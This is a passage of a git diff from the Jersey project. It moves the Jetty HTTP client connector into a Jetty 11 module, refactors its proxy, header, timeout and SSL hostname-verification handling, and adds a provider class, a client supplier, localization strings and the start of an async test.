type) {
+ return PropertiesHelper.getValue(properties, key, type, null);
+ }
+
+}
diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 80%
rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
index ef1585cf465..7565b4bd9bb 100644
--- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,47 +16,37 @@
package org.glassfish.jersey.jetty.connector;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.CookieStore;
-import java.net.URI;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.client.Client;
import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.HttpHeaders;
import jakarta.ws.rs.core.MultivaluedMap;
-
-import javax.net.ssl.SSLContext;
-
+import org.eclipse.jetty.client.HttpClient;
import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpRequest;
+import org.eclipse.jetty.client.HttpProxy;
+import org.eclipse.jetty.client.ProxyConfiguration;
+import org.eclipse.jetty.client.api.AuthenticationStore;
+import org.eclipse.jetty.client.api.ContentProvider;
+import org.eclipse.jetty.client.api.ContentResponse;
+import org.eclipse.jetty.client.api.Request;
+import org.eclipse.jetty.client.api.Response;
+import org.eclipse.jetty.client.api.Result;
import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.io.ClientConnector;
import org.eclipse.jetty.client.util.BasicAuthentication;
import org.eclipse.jetty.client.util.BytesContentProvider;
import org.eclipse.jetty.client.util.FutureResponseListener;
import org.eclipse.jetty.client.util.OutputStreamContentProvider;
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpFields;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.io.ClientConnector;
+import org.eclipse.jetty.util.HttpCookieStore;
+import org.eclipse.jetty.util.Jetty;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
import org.glassfish.jersey.client.ClientProperties;
import org.glassfish.jersey.client.ClientRequest;
import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.innate.ClientProxy;
import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
import org.glassfish.jersey.client.spi.Connector;
import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
@@ -65,22 +55,30 @@
import org.glassfish.jersey.message.internal.OutboundMessageContext;
import org.glassfish.jersey.message.internal.Statuses;
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
+import javax.net.ssl.SSLContext;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.CookieStore;
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+import java.util.logging.Level;
+import java.util.logging.Logger;
/**
* A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
@@ -95,8 +93,10 @@
* {@link ClientProperties#PROXY_USERNAME}
* {@link ClientProperties#PROXY_PASSWORD}
* {@link ClientProperties#PROXY_PASSWORD}
+ * {@link JettyClientProperties#DISABLE_COOKIES} *
+ * {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
* {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
- * {@link JettyClientProperties#DISABLE_COOKIES}
+ * {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
*
*
* This transport supports both synchronous and asynchronous processing of client requests.
@@ -107,7 +107,7 @@
*
* {@code
* ClientConfig config = new ClientConfig();
- * Connector connector = new JettyConnector(config);
+ * Connector connector = new Jetty11Connector(config);
* config.connector(connector);
* Client client = ClientBuilder.newClient(config);
*
@@ -129,7 +129,7 @@
* @author Arul Dhesiaseelan (aruld at acm.org)
* @author Marek Potociar
*/
-class JettyConnector implements Connector {
+public class JettyConnector implements Connector {
private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
@@ -144,31 +144,29 @@ class JettyConnector implements Connector {
* @param jaxrsClient JAX-RS client instance, for which the connector is created.
* @param config client configuration.
*/
- JettyConnector(final Client jaxrsClient, final Configuration config) {
+ public JettyConnector(final Client jaxrsClient, final Configuration config) {
this.configuration = config;
- HttpClient httpClient = null;
- if (config.isRegistered(JettyHttpClientSupplier.class)) {
- Optional contract = config.getInstances().stream()
- .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
- if (contract.isPresent()) {
- httpClient = ((JettyHttpClientSupplier) contract.get()).getHttpClient();
- }
- }
+ HttpClient httpClient = getRegisteredHttpClient(config);
+
if (httpClient == null) {
final SSLContext sslContext = jaxrsClient.getSslContext();
- final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client();
+ final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
sslContextFactory.setSslContext(sslContext);
final ClientConnector connector = new ClientConnector();
connector.setSslContextFactory(sslContextFactory);
- final HttpClientTransport transport = new HttpClientTransportOverHTTP(connector);
+ final HttpClientTransport transport = initClientTransport(connector);
httpClient = new HttpClient(transport);
}
this.client = httpClient;
Boolean enableHostnameVerification = (Boolean) config.getProperties()
.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION);
- if (enableHostnameVerification != null && enableHostnameVerification) {
- client.getSslContextFactory().setEndpointIdentificationAlgorithm("https");
+ if (enableHostnameVerification != null) {
+ final String verificationAlgorithm = enableHostnameVerification ? "HTTPS" : null;
+ client.getSslContextFactory().setEndpointIdentificationAlgorithm(verificationAlgorithm);
+ }
+ if (jaxrsClient.getHostnameVerifier() != null) {
+ client.getSslContextFactory().setHostnameVerifier(jaxrsClient.getHostnameVerifier());
}
final Object connectTimeout = config.getProperties().get(ClientProperties.CONNECT_TIMEOUT);
@@ -191,28 +189,26 @@ class JettyConnector implements Connector {
auth.addAuthentication((BasicAuthentication) basicAuthProvider);
}
- final Object proxyUri = config.getProperties().get(ClientProperties.PROXY_URI);
- if (proxyUri != null) {
- final URI u = getProxyUri(proxyUri);
+ final Optional proxy = ClientProxy.proxyFromConfiguration(config);
+ proxy.ifPresent(clientProxy -> {
final ProxyConfiguration proxyConfig = client.getProxyConfiguration();
- proxyConfig.getProxies().add(new HttpProxy(u.getHost(), u.getPort()));
+ final URI u = clientProxy.uri();
+ proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort()));
- final Object proxyUsername = config.getProperties().get(ClientProperties.PROXY_USERNAME);
- if (proxyUsername != null) {
- final Object proxyPassword = config.getProperties().get(ClientProperties.PROXY_PASSWORD);
+ if (clientProxy.userName() != null) {
auth.addAuthentication(new BasicAuthentication(u, "<>",
- String.valueOf(proxyUsername), String.valueOf(proxyPassword)));
+ clientProxy.userName(), clientProxy.password()));
}
- }
+ });
if (disableCookies) {
client.setCookieStore(new HttpCookieStore.Empty());
}
final Object slResponseMaxSize = configuration.getProperties()
- .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
+ .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
- && (Integer) slResponseMaxSize > 0) {
+ && (Integer) slResponseMaxSize > 0) {
this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
}
else {
@@ -227,15 +223,35 @@ class JettyConnector implements Connector {
this.cookieStore = client.getCookieStore();
}
- @SuppressWarnings("ChainOfInstanceofChecks")
- private static URI getProxyUri(final Object proxy) {
- if (proxy instanceof URI) {
- return (URI) proxy;
- } else if (proxy instanceof String) {
- return URI.create((String) proxy);
- } else {
- throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(ClientProperties.PROXY_URI));
+ /**
+ * provides required HTTP client transport for client
+ *
+ * the default transport is {@link HttpClientTransportOverHTTP}
+ *
+ * @return instance of {@link HttpClientTransport}
+ * @since 2.41
+ */
+ protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+ return new HttpClientTransportOverHTTP(clientConnector);
+ }
+
+ /**
+ * provides custom registered {@link HttpClient} if any (or NULL)
+ *
+ * @param config configuration where {@link HttpClient} could be registered
+ * @return {@link HttpClient} instance if any was previously registered or NULL
+ *
+ * @since 2.41
+ */
+ protected HttpClient getRegisteredHttpClient(Configuration config) {
+ if (config.isRegistered(JettyHttpClientSupplier.class)) {
+ Optional contract = config.getInstances().stream()
+ .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
+ if (contract.isPresent()) {
+ return ((JettyHttpClientSupplier) contract.get()).getHttpClient();
+ }
}
+ return null;
}
/**
@@ -252,7 +268,7 @@ public HttpClient getHttpClient() {
* Get the {@link CookieStore}.
*
* @return the {@link CookieStore} instance or null when
- * JettyClientProperties.DISABLE_COOKIES set to true.
+ * Jetty11ClientProperties.DISABLE_COOKIES set to true.
*/
public CookieStore getCookieStore() {
return cookieStore;
@@ -260,12 +276,14 @@ public CookieStore getCookieStore() {
@Override
public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
- applyUserAgentHeader(jerseyRequest.getHeaders());
final Request jettyRequest = translateRequest(jerseyRequest);
- final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
- final ContentProvider entity = getBytesProvider(jerseyRequest);
+ final Map clientHeadersSnapshot = new HashMap<>();
+ final ContentProvider entity =
+ getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
if (entity != null) {
jettyRequest.content(entity);
+ } else {
+ clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
}
try {
@@ -275,12 +293,12 @@ public ClientResponse apply(final ClientRequest jerseyRequest) throws Processing
}
else {
final FutureResponseListener listener
- = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
+ = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
jettyRequest.send(listener);
jettyResponse = listener.get();
}
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
? Statuses.from(jettyResponse.getStatus())
@@ -333,43 +351,35 @@ private Request translateRequest(final ClientRequest clientRequest) {
request.followRedirects(clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true));
final Object readTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
if (readTimeout != null && readTimeout instanceof Integer && (Integer) readTimeout > 0) {
- request.timeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
+ request.idleTimeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
}
- return request;
- }
- /**
- * Re-write User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
- * it shall be propagated to Jetty client before HttpRequest instance is created.
- * HttpRequest takes User Agent header from client then.
- *
- * @param headers - map of Jersey headers
- */
- private void applyUserAgentHeader(final MultivaluedMap headers) {
- if (headers.containsKey(HttpHeaders.USER_AGENT)) {
- final Map stringHeaders =
- HeaderUtils.asStringHeadersSingleValue(headers, configuration);
- client.setUserAgentField(
- new HttpField(HttpHeader.USER_AGENT,
- HttpHeader.USER_AGENT.name(),
- stringHeaders.get(HttpHeaders.USER_AGENT))
- );
+ final Object totalTimeout = clientRequest.resolveProperty(JettyClientProperties.TOTAL_TIMEOUT, -1);
+ if (totalTimeout != null && totalTimeout instanceof Integer && (Integer) totalTimeout > 0) {
+ request.timeout((Integer) totalTimeout, TimeUnit.MILLISECONDS);
}
+
+ return request;
}
private Map writeOutBoundHeaders(final MultivaluedMap headers, final Request request) {
final Map stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
+ final Consumer mutableConsumer = httpFields -> {
+ // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
+ httpFields.remove(HttpHeader.USER_AGENT);
+ for (final Map.Entry e : stringHeaders.entrySet()) {
+ httpFields.put(e.getKey(), e.getValue());
+ }
+ };
+ request.headers(mutableConsumer);
- if (request instanceof HttpRequest) {
- final HttpRequest httpRequest = (HttpRequest) request;
- for (final Map.Entry e : stringHeaders.entrySet()) {
- httpRequest.addHeader(new HttpField(e.getKey(), e.getValue()));
- }
- }
return stringHeaders;
}
- private ContentProvider getBytesProvider(final ClientRequest clientRequest) {
+ private ContentProvider getBytesProvider(final ClientRequest clientRequest,
+ final MultivaluedMap headers,
+ final Map snapshot,
+ final Request request) {
final Object entity = clientRequest.getEntity();
if (entity == null) {
@@ -380,6 +390,7 @@ private ContentProvider getBytesProvider(final ClientRequest clientRequest) {
clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
@Override
public OutputStream getOutputStream(final int contentLength) throws IOException {
+ snapshot.putAll(writeOutBoundHeaders(headers, request));
return outputStream;
}
});
@@ -422,7 +433,6 @@ private void processContent(final ClientRequest clientRequest, final ContentProv
@Override
public Future> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
- applyUserAgentHeader(jerseyRequest.getHeaders());
final Request jettyRequest = translateRequest(jerseyRequest);
final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
final ContentProvider entity = getStreamProvider(jerseyRequest);
@@ -432,15 +442,15 @@ public Future> apply(final ClientRequest jerseyRequest, final AsyncConnectorCa
final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
final Throwable failure;
try {
- final CompletableFuture responseFuture =
- new CompletableFuture().whenComplete(
- (clientResponse, throwable) -> {
- if (throwable != null && throwable instanceof CancellationException) {
- // take care of future cancellation
- jettyRequest.abort(throwable);
+ final CompletableFuture responseFuture = new CompletableFuture();
+ responseFuture.whenComplete(
+ (clientResponse, throwable) -> {
+ if (throwable != null && throwable instanceof CancellationException) {
+ // take care of future cancellation
+ jettyRequest.abort(throwable);
- }
- });
+ }
+ });
final AtomicReference jerseyResponse = new AtomicReference<>();
final ByteBufferInputStream entityStream = new ByteBufferInputStream();
@@ -449,7 +459,7 @@ public Future> apply(final ClientRequest jerseyRequest, final AsyncConnectorCa
@Override
public void onHeaders(final Response jettyResponse) {
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
if (responseFuture.isDone()) {
if (!callbackInvoked.compareAndSet(false, true)) {
@@ -539,4 +549,4 @@ public void close() {
throw new ProcessingException("Failed to stop the client.", e);
}
}
-}
+}
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
new file mode 100644
index 00000000000..167683a8492
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.internal.util.JdkVersion;
+
+/**
+ * A {@link ConnectorProvider} for Jersey {@link Connector connector}
+ * instances that utilize the Jetty HTTP Client to send and receive
+ * HTTP request and responses.
+ *
+ * The following connector configuration properties are supported:
+ *
+ * {@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}
+ * {@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}
+ * {@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}
+ * {@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}
+ * {@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}
+ * {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
+ * {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
+ * {@link JettyClientProperties#DISABLE_COOKIES} *
+ * {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
+ * {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
+ * {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
+ *
+ *
+ *
+ * This transport supports both synchronous and asynchronous processing of client requests.
+ * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
+ *
+ *
+ * Typical usage:
+ *
+ *
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ *
+ *
+ * Connector instances created via Jetty HTTP Client-based connector provider support only
+ * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
+ * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
+ * effect on Jetty HTTP Client-based connectors.
+ *
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ * @since 2.5
+ */
+public class JettyConnectorProvider implements ConnectorProvider {
+
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return new JettyConnector(client, runtimeConfig);
+ }
+
+ /**
+ * Retrieve the underlying Jetty {@link HttpClient} instance from
+ * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
+ * configured to use {@code JettyConnectorProvider}.
+ *
+ * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
+ * {@code JettyConnectorProvider}.
+ * @return underlying Jetty {@code HttpClient} instance.
+ *
+ * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
+ * nor {@code JerseyWebTarget} instance or in case the component
+ * is not configured to use a {@code JettyConnectorProvider}.
+ * @since 2.8
+ */
+ public static HttpClient getHttpClient(Configurable> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable> initializable = (Initializable>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyConnector) {
+ return ((JettyConnector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 94%
rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5c706..95782f2c978 100644
--- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
new file mode 100644
index 00000000000..de6453b35ae
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.jetty.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+
+/**
+ * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
+ * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide
+ * an HttpClient that has configured the options not covered by the Jetty Connector.
+ *
+ * Typical usage:
+ *
+ *
+ * {@code
+ * HttpClient httpClient = ...
+ *
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * config.register(new JettyHttpClientSupplier(httpClient));
+ * Client client = ClientBuilder.newClient(config);
+ * }
+ *
+ *
+ * The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way.
+ *
+ */
+public class JettyHttpClientSupplier implements JettyHttpClientContract {
+ private final HttpClient httpClient;
+
+ /**
+ * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig}
+ * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+ */
+ public JettyHttpClientSupplier(HttpClient httpClient) {
+ this.httpClient = httpClient;
+ }
+
+ @Override
+ public HttpClient getHttpClient() {
+ return httpClient;
+ }
+}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
new file mode 100644
index 00000000000..8416cf40e12
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
new file mode 100644
index 00000000000..aacb2672119
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
new file mode 100644
index 00000000000..8755aaf0287
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Asynchronous connector test.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class AsyncTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+ private static final String PATH = "async";
+
+ /**
